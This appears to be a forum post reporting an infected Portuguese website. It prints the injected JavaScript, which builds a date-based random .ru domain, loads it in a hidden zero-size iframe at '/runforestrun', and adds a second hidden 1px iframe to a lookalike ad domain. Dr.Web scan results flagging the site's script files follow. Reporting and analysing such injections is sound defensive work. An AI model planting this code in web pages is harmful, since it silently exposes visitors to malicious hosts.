- function nextRandomNumber() {
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if (test > 0) {
- this.seed = test
- } else {
- this.seed = test + this.M
- }
- return (this.seed * this.oneOverM)
- }
- function RandomNumberGenerator(unix) {
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this
- }
- function createRandomNumber(r, Min, Max) {
- return Math.round((Max - Min) * r.next() + Min)
- }
- function generatePseudoRandomString(unix, length, zone) {
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i++) {
- str += letters[createRandomNumber(rand, 0, letters.length - 1)]
- }
- return str + '.' + zone
- }
- setTimeout(function() {
- try {
- if (typeof iframeWasCreated2 == "undefined") {
- iframeWasCreated2 = true;
- var unix = Math.round(+new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm)
- }
- } catch (e) {}
- }, 500);
复制代码
- <iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto"
- frameborder="no" align="center" height="1px" width="1px">
- </iframe>
复制代码
Dr.Web
Checking: http://josemarques.pt/Scripts/iWebSite.js
File size: 157.01 KB
File MD5: 35333a7e1ddec9b94f629ec79a4d1a17
http://josemarques.pt/Scripts/iWebSite.js infected with JS.IFrame.403
Checking: http://josemarques.pt/Parque_Natural_do_Fogo_files/Parque_Natural_do_Fogo.js
File size: 5467 bytes
File MD5: 019e3f01fa1d3999705ea6547f67c8c2
http://josemarques.pt/Parque_Natural_do_Fogo_files/Parque_Natural_do_Fogo.js infected with JS.IFrame.234
Checking: http://josemarques.pt/Parque_Natural_do_Fogo.html
Engine version: 7.0.4.9250
Total virus-finding records: 4132749
File size: 10.12 KB
File MD5: 22ee4087ac3178bd93e8405da2b2beab
http://josemarques.pt/Parque_Natural_do_Fogo.html - archive JS-HTML
>http://josemarques.pt/Parque_Natural_do_Fogo.html/JSTAG_1[5f8][db] - Ok
>http://josemarques.pt/Parque_Natural_do_Fogo.html/JSTAG_2[6fd][68] - Ok
http://josemarques.pt/Parque_Natural_do_Fogo.html - Ok |